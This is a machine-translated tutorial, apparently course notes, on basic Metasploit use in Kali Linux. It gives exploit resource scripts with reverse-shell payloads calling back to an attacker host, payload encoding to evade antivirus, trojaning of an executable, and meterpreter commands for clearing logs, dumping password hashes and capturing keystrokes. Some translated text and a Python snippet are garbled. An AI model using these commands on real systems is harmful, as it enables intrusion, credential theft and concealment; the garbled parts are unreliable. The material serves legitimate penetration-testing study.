Kali Linux Penetration Test 142 Mestasploit Basic Usage

This article records the detailed process of learning and using Kali Linux 2018.1 and penetration testing. The tutorial is the course "Kali Linux Penetration Testing" in the Security Niu Classroom

Kali Linux Penetration Testing (Yuan Fanghong) Blog Record

1. Penetration testers

  • Need to master hundreds of tools and software, thousands of command parameters, really can't remember
  • The newly emerging vulnerability PoC/EXP has different operating environment requirements, and the preparation work is tedious
  • Most of the time is learning the user environment of different tools, it would be nice if it could be unified

2. Introduction to Metasploit

  • The most popular, powerful and extensible penetration testing platform software
  • Process and method of penetration testing and vulnerability analysis based on Metasploit
  • First published by HD More in 2003, written in ruby ​​in 2007

    • The framework inherits the Penetration Testing Standard (PETS) standard
    • To a certain extent, the working environment of penetration testing research is unified
    • New attack code can be easily added to the framework
  • Development active version updates frequently

    • The early version was maintained based on community strength, and after being acquired by Rapid 7, Jujube released its commercial version product
    • Currently divided into four versions, the community version is still very active
    • HD More says: Writing a book for Metasploit is masochistic
  • Metasploit default integration in kali linux

  • Use postgresql database to store data
    • Earlier versions need to start the database first and then start msf

3. Metasploit Architecture

  • Rex

    • Basic function library for completing daily basic tasks without manual coding
    • Handle socket connection access, protocol response (http/SSL/SMB, etc.)
    • Encoding conversion (XOR, Base64, Unicode)
  • Msf::Core

    • Provides the core basic API of Metasploit and is the core capability implementation library of the framework
  • Msf :: Base

    • A library that provides a friendly API interface for easy module calls
  • Plugin

    • Connect and call external extended functions and systems
  • module

    • /usr/share/metasploit-framework/modules/
  • Technical function modules (not process modules)

    • Exploits: The action of exploiting system vulnerabilities to attack, this module corresponds to the attack method of each specific vulnerability (active, passive)
  • Payload: The code or instruction that is actually executed on the target system after a successful exploit

    • shellcode or system command
    • 三种 payload:/usr/share/metasploit-framework/modules/payloads/
    • Single:all-in-one
    • Stager: When the memory of the target computer is limited, a smaller payload is transmitted first for establishing a connection
    • stages: subsequent payloads downloaded using the connection established by stager
    • There are various types of stagers and stages, which are suitable for different scenarios
    • Shellcode is a type of payload, named after the forward/reverse shell during the period
  • Technical function modules (not process modules)

    • Auxiliary: Auxiliary module that performs functions such as information collection, enumeration, fingerprint detection, scanning, etc. (exploit module without payload)
    • Encoders: A module that encrypts the payload to avoid AV inspection
    • Nops: Improve payload stability and maintain size

4. Basic use

  • Update before use: msfupdate
  • msfcli uses the interface, now updated to msfconsole -x
  • msfconsole using the interface

    • most popular user interface
    • Almost all msf functions are available
    • Console commands support TAB autocompletion
    • Supports the execution of external commands (system commands, etc.)
  • Click the mouse to start

    通用选项:
        -E, --environment ENVIRONMENT    设置Rails环境,默认为RAIL_ENV环境变量或'生产'
    
    数据库选项:
        -M, --migration-path DIRECTORY   指定包含其他数据库迁移的目录
        -n, --no-database                禁用数据库支持
        -y, --yaml PATH                  指定一个包含数据库设置的YAML文件
    
    框架选项:
        -c FILE                          加载指定的配置文件
        -v, -V, --version                显示版本
    
    模块选项:
            --defer-module-loads         除非明确询问,否则推迟模块加载
        -m, --module-path DIRECTORY      加载一个额外的模块路径
    
    控制台选项:
        -a, --ask                        在退出Metasploit之前询问或接受'退出-y'
        -H, --history-file FILE          将命令历史记录保存到指定的文件
        -L, --real-readline              使用系统Readline库而不是RbReadline
        -o, --output FILE                输出到指定的文件
        -p, --plugin PLUGIN              在启动时加载插件
        -q, --quiet                      不要在启动时显示 banner 信息
        -r, --resource FILE              执行指定的资源文件( - 用于stdin)
        -x, --execute-command COMMAND    执行指定的控制台命令(使用;用于倍数)
        -h, --help                       显示此消息
    
  • Enter msfconsole to view help information

    root@kali:~# msfconsole
    msf > help
    
    核心命令
    =============
    
        命令            描述
        -------       -----------
        ?             帮助菜单
        banner        显示一个很棒的metasploit横幅
        cd            更改当前的工作目录
        color         切换高亮显示颜色
        connect       连接与主机通信
        exit          退出退出控制台
        get           获取特定于上下文的变量的值
        getg          获取全局变量的值
        grep          Grep另一个命令的输出
        help          帮助菜单
        history       历史显示命令历史
        irb           进入irb脚本模式
        load          加载一个框架插件
        quit          退出控制台
        route         路由通过会话路由流量
        save          保存保存活动的数据存储
        sessions      会话转储会话列表并显示有关会话的信息
        set           将特定于上下文的变量设置为一个值
        setg          将全局变量设置为一个值
        sleep         睡眠在指定的秒数内不执行任何操作
        spool         将控制台输出写入文件以及屏幕
        threads       线程查看和操作后台线程
        unload        卸载卸载框架插件
        unset         取消设置取消设置一个或多个特定于上下文的变量
        unsetg        取消设置取消设置一个或多个全局变量
        version       版本显示框架和控制台库版本号
    
    
    模块命令
    ===============
    
        命令            描述
        -------       -----------
        advanced      高级显示一个或多个模块的高级选项
        back          返回从当前上下文返回
        edit          编辑使用首选编辑器编辑当前模块或文件
        info          显示有关一个或多个模块的信息
        loadpath      加载路径搜索并加载路径中的模块
        options       选项显示全局选项或一个或多个模块
        popm          将最新的模块从堆栈弹出并使其处于活动状态
        previous      将之前加载的模块设置为当前模块
        pushm         将活动或模块列表推入模块堆栈
        reload_all    重新加载所有定义的模块路径中的所有模块
        reload_lib    从指定路径加载库文件
        search        搜索搜索模块名称和说明
        show          显示给定类型的模块或所有模块
        use           使用按名称选择模块
    
    
    工作命令
    ============
    
        命令            描述
        -------       -----------
        handler       处理程序作为作业启动负载处理程序
        jobs          作业显示和管理作业
        kill          杀死一份工作
        rename_job    重命名作业
    
    
    资源脚本命令
    ========================
    
        命令            描述
        -------       -----------
        makerc        保存从开始到文件输入的命令
        resource      运行存储在文件中的命令
    
    
    数据库后端命令
    =========================
    
        命令                描述
        -------           -----------
        db_connect        连接到现有的数据库
        db_disconnect     断开当前数据库实例
        db_export         导出包含数据库内容的文件
        db_import         导入扫描结果文件(文件类型将被自动检测)
        db_nmap           执行nmap并自动记录输出
        db_rebuild_cache  重建数据库存储的模块缓存
        db_status         显示当前的数据库状态
        hosts             列出数据库中的所有主机
        loot              列出数据库中的所有战利品
        notes             列出数据库中的所有注释
        services          列出数据库中的所有服务
        vulns             列出数据库中的所有漏洞
        workspace         在数据库工作区之间切换
    
    
    凭证后端命令
    ============================
    
        命令            描述
        -------       -----------
        creds         列出数据库中的所有凭据(密码)
    
  • msf > help show

    [*]“show” 命令的有效参数是:all, encoders, nops, exploits, payloads, auxiliary, plugins, info, options
    [*]其他特定于模块的参数是:missing, advanced, evasion, targets, actions
    
  • msf > help search

    用法: search [keywords]
    
    Keywords:
      app       :  客户端或服务器攻击的模块
      author    :  本作者编写的模块
      bid       :  具有匹配的Bugtraq ID的模块
      cve       :  具有匹配CVE ID的模块
      edb       :  具有匹配的Exploit-DB ID的模块
      name      :  具有匹配描述性名称的模块
      platform  :  影响这个平台的模块
      ref       :  具有匹配参考的模块
      type      :  特定类型的模块(exploit,auxiliary或post)
    
    msf > search ms08-067
    msf > search name:mysql / type:aux /author:aaron    # 可多条件同时搜索
    
  • In-module commands

    msf > search ms09_001_write
    msf > use auxiliary/dos/windows/smb/ms09_001_write
    msf auxiliary(dos/windows/smb/ms09_001_write) > info
    
    [*]其他特定于模块的参数是:missing, advanced, evasion, targets, actions
    msf auxiliary(dos/windows/smb/ms09_001_write) > show missing
    msf auxiliary(dos/windows/smb/ms09_001_write) > show advanced
    msf auxiliary(dos/windows/smb/ms09_001_write) > show targets
    
    
    
    msf auxiliary(dos/windows/smb/ms09_001_write) > help edit
        用法:编辑[file / to / edit.rb]
        使用编辑当前活动模块或本地文件。
        如果指定了文件路径,它将在编辑后自动重新加载。
        否则,您可以使用“重新加载”或“重新运行”来重新加载活动模块。
    msf auxiliary(dos/windows/smb/ms09_001_write) > edit
    
  • database operations

    msf > help db_connect 
        [*]    Usage: db_connect <user:pass>@<host:port>/<database>
        [*]       OR: db_connect -y [path/to/database.yml]
        [*] Examples:
        [*]        db_connect user@metasploit3
        [*]        db_connect user:[email protected]/metasploit3
        [*]        db_connect user:[email protected]:1500/metasploit3
    
    msf > help db_import
        Usage: db_import <filename> [file2...]
        Filenames can be globs like *.xml, or **/*.xml which will search recursively
    
    msf > help db_export
        Usage:
        db_export -f <format> [filename]
        Format can be one of: xml, pwdump
    
  • msf > help sessions
    Usage: sessions [options] or sessions [id]

    活动的会话操作和交互。
    
    选项:
    
        -C <opt>  在-i或全部给定的会话上运行Meterpreter命令
        -K        终止所有会话
        -S <opt>  行搜索过滤器。
        -c <opt>  在-i或全部给定的会话上运行命令
        -h        帮助横幅
        -i <opt>  与提供的会话ID进行交互
        -k <opt>  按会话ID和/或范围终止会话
        -l        列出所有活动会话
        -n <opt>  按ID命名或重命名会话
        -q        静音模式
        -r        重置用-i或全部给定的会话的环形缓冲区
        -s <opt>  在-i或全部给定的会话上运行脚本或模块
        -t <opt>  设置响应超时(默认值:15)
        -u <opt>  在许多平台上将shell升级到meterpreter会话
        -v        以详细模式列出会话
        -x        在会话表中显示扩展信息
    
    许多选项允许使用逗号和破折号指定会话范围。
    例如:  sessions -s checkvm -i 1,3-5  or  sessions -k 1-2,5,6
    

5. Exploit module

1. Active exploit

The attacker actively connects to the victim:

root@kali:~# cat ms08067.rb 
use exploit/windows/smb/ms08_067_netapi
set RHOST 10.10.10.147
set RPORT 445
set PAYLOAD windows/shell/reverse_tcp
set LHOST 10.10.10.131
set LPORT 4444
exploit

root@kali:~# cat psexec.rb 
use exploit/windows/smb/psexec
set RHOST 10.10.10.148
set PAYLOAD windows/shell/reverse_tcp
set LHOST 10.10.10.131
set LPORT 4444
set SMBUSER Administrator
set SMBPASS 123456
exploit

2. Passive Exploits

The attacker waits for the victim to trigger the connection, which bounces back to the attacker

root@kali:~# cat ms07017.rb 
use exploit/windows/browser/ms07_017_ani_loadimage_chunksize
set URIPATH /
set SRVHOST 0.0.0.0
set PAYLOAD windows/shell/reverse_tcp
set EXITFUNC thread
set LHOST 10.10.10.131
set LPORT 4444
exploit

6. Generate payload

  • usage

    msf > search ms08-067
    msf > use payload/windows/shell/bind_tcp
    msf payload(windows/shell/bind_tcp) > generate  #获得shellcode
    msf payload(windows/shell/bind_tcp) > generate -h
        Usage: generate [options]
        Generates a payload.
        OPTIONS:
            -E        强制编码。
            -b <opt>  要避免的字符列表:'\ x00 \ xff'
            -e <opt>  要使用的编码器模块的名称。
            -f <opt>  输出文件名(否则为stdout)
            -h        帮助横幅。
            -i <opt>  编码迭代的次数。
            -k        保持模板可执行的功能
            -o <opt>  以VAR = VAL格式逗号分隔的选项列表。
            -p <opt>  输出平台
            -s <opt>  NOP sled length.
            -t <opt>  输出格式: bash,c,csharp,dw,dword,hex,java,js_be,js_le,num,perl,pl,powershell,ps1,py,python,raw,rb,ruby,sh,vbapplication,vbscript,asp,aspx,aspx-exe,axis2,dll,elf,elf-so,exe,exe-only,exe-service,exe-small,hta-psh,jar,jsp,loop-vbs,macho,msi,msi-nouac,osx-app,psh,psh-cmd,psh-net,psh-reflection,vba,vba-exe,vba-psh,vbs,war
            -x <opt>  要使用的可执行模板
    
    msf payload(windows/shell/bind_tcp) > generate
    

  • Automatically bypass bad characters

    msf payload(windows/shell/bind_tcp) > generate -b '\x00'
    msf payload(windows/shell/bind_tcp) > generate -b '\x00\x44\x67\x66\xfa\x01\xe0\x44\x67\xa1\xa2\xa3\x75\x4b'
    
  • Manually specify the encoding module

    msf payload(windows/shell/bind_tcp) > show encoders
    

  • inject file

    msf payload(windows/shell/bind_tcp) > generate -b '\x00' -t exe -e x86/shikata_ga_nai -i 5 -k -x /usr/share/windows-binaries/radmin.exe -f /root/1.exe
    
  • NOP: no-operation / Next Operation

    • EIP will be incremented when returning an arbitrary address where the NOP sled is stored, eventually causing the shellcode to execute
    • Add a line of EOP

      msf payload(windows/shell/bind_tcp) > generate -s 14
      

7. metepreter

1 Introduction

  • Advanced, dynamic, scalable payload

    • Exploit more vulnerabilities to launch attacks based on meteorreter context
    • One-stop interface for post-penetration testing
  • Fully memory-based DLL injection payload (without writing to disk)

    • Inject legitimate system process and build stager
    • Extension module TLS/1.0 communication tunnel based on stager upload and preload dll
    • Utilize TLS tunnel to further load subsequent extension modules (avoid network forensics)
  • The server is written in C language

  • The client provides a full-featured API based on ruby ​​(supports any language)

2. Use

root@kali:~# cat metepreter.rb 
use exploit/windows/smb/ms08_067_netapi
set payload windows/meterpreter/reverse_tcp
set RHOST 10.10.10.147
set LHOST 10.10.10.131
run

  • help file

    meterpreter > help
    
    核心命令
    =============
    
        命令                     描述
        -------                   -----------
        ?                         帮助菜单
        background                背景当前会话
        bgkill                    杀死一个背景meterpreter脚本
        bglist                    列出运行后台脚本
        bgrun                     执行一个meterpreter脚本作为后台线程
        channel                   显示信息或控制活动频道
        close                     关闭频道
        disable_unicode_encoding  禁用unicode字符串的编码
        enable_unicode_encoding   启用unicode字符串的编码
        exit                      终止meterpreter会话
        get_timeouts              获取当前会话超时值
        guid                      获取会话GUID
        help                      帮助菜单
        info                      显示有关Post模块的信息
        irb                       进入irb脚本模式
        load                      加载一个或多个meterpreter扩展
        machine_id                获取连接到会话的计算机的MSF ID
        migrate                   将服务器迁移到另一个进程
        pivot                     管理数据透视监听器
        quit                      终止meterpreter会话
        read                      从频道读取数据
        resource                  运行存储在文件中的命令
        run                       执行meterpreter脚本或Post模块
        sessions                  快速切换到另一个会话
        set_timeouts              设置当前会话超时值
        sleep                     Force Meterpreter安静,然后重新建立会话。
        transport                 更改当前的传输机制
        use                       不推荐使用“加载”别名
        uuid                      获取当前会话的UUID
        write                     将数据写入通道
    
    
    Stdapi: 文件系统命令
    ============================
    
        命令          描述
        -------       -----------
        cat           将文件的内容读取到屏幕上
        cd            更改目录
        checksum      检索文件的校验和
        cp            将源复制到目标
        dir           列表文件(ls的别名)
        download      下载文件或目录
        edit          编辑一个文件
        getlwd        打印本地工作目录
        getwd         打印工作目录
        lcd           更改本地工作目录
        lls           列出本地文件
        lpwd          打印本地工作目录
        ls            列出文件
        mkdir         建立目录
        mv            将源移到目标
        pwd           打印工作目录
        rm            删除指定的文件
        rmdir         删除目录
        search        搜索文件
        show_mount    列出所有安装点/逻辑驱动器
        upload        上传文件或目录
    
    
    Stdapi: 网络命令
    ===========================
    
        命令          描述
        -------       -----------
        arp           显示主机ARP缓存
        getproxy      显示当前的代理配置
        ifconfig      显示界面
        ipconfig      显示界面
        netstat       显示网络连接
        portfwd       将本地端口转发到远程服务
        resolve       解析目标上的一组主机名
        route         查看和修改路由表
    
    
    Stdapi: 系统命令
    =======================
    
        Command       Description
        -------       -----------
        clearev       清除事件日志
        drop_token    放弃任何活动的模拟令牌。
        execute       执行一个命令
        getenv        获取一个或多个环境变量值
        getpid        获取当前的进程标识符
        getprivs      尝试启用当前进程可用的所有权限
        getsid        获取运行服务器的用户的SID
        getuid        获取服务器正在运行的用户
        kill          终止一个过程
        localtime     显示目标系统的本地日期和时间
        pgrep         按名称过滤进程
        pkill         按名称终止进程
        ps            列出运行的进程
        reboot        重新启动远程计算机
        reg           修改远程注册表并与之交互
        rev2self      在远程机器上调用RevertToSelf()
        shell         放入系统命令外壳
        shutdown      关闭远程计算机
        steal_token   尝试从目标进程中盗取模拟令牌
        suspend       暂停或恢复进程列表
        sysinfo       获取有关远程系统的信息,例如OS
    
    
    Stdapi: 用户界面命令
    ===============================
    
        命令          描述
        -------        -----------
        enumdesktops   列出所有可访问的桌面和窗口工作站
        getdesktop     获取当前meterpreter桌面
        idletime       返回远程用户闲置的秒数
        keyscan_dump   转储按键缓冲区
        keyscan_start  开始捕捉击键
        keyscan_stop   停止捕获击键
        screenshot     获取交互式桌面的屏幕截图
        setdesktop     更改meterpreters当前桌面
        uictl          控制一些用户界面组件
    
    
    Stdapi: Webcam 命令
    =======================
    
        命令          描述
        -------        -----------
        record_mic     从默认麦克风录制音频X秒
        webcam_chat    开始视频聊天
        webcam_list    列出网络摄像头
        webcam_snap    从指定的摄像头拍摄快照
        webcam_stream  从指定的摄像头播放视频流
    
    
    Priv: Elevate Commands
    ======================
    
        命令          描述
        -------       -----------
        getsystem     尝试将您的特权提升为本地系统的特权。
    
    
    Priv: 密码数据库命令
    ================================
    
        命令          描述
        -------       -----------
        hashdump      转储SAM数据库的内容
    
    
    Priv: Timestomp 命令
    ========================
    
        命令          描述
        -------       -----------
        timestomp     操纵文件MACE属性
    
  • use

    meterpreter > execute -f cmd.exe
    meterpreter > ps
    meterpreter > getuid
    meterpreter > getpid
    meterpreter > clearev   # 清除日志
    meterpreter > upload /usr/share/windows-binaries/nc.exe c:\\windows\\system32       # 上传文件
    
    meterpreter > upload /usr/share/windows-binaries/nc.exe c:\\windows\\system32
    msf exploit(windows/smb/ms08_067_netapi) > sessions -l
    msf exploit(windows/smb/ms08_067_netapi) > sessions -i 1
    
    meterpreter > hashdump  # 读取密码
    meterpreter > run post/windows/gather/hashdump  # 读取密码
    
    meterpreter > shell
    

8. Meterpreter python extension

  • Contributed by the community in November 2015
  • Run native python code on the client without an environment

  • use

    meterpreter > load python
    meterpreter > python_execute "print ('asdasdas')"
    meterpreter > python_execute "import os; cd = os.getcwd()" -r cd
    
    
    
    root@kali:~# cat find2.py 
    import os
    for root,dirs,files in os.walk(c://*):
        for file in files:
            if file.endwith(".ini" ) and file.startwith("win"):
                print(os.path.john(root,file))
    python_import -f find.py
    

9. msfcli

  • Cancelled in June 2015
  • Replaced by msfconsole -x
  • Easy to reference when writing scripts

    msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST 10.10.10.147; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 10.10.10.131; set LPORT 5555; set target 34; exploit"
    

Guess you like

Origin http://43.154.161.224:23101/article/api/json?id=325570330&siteId=291194637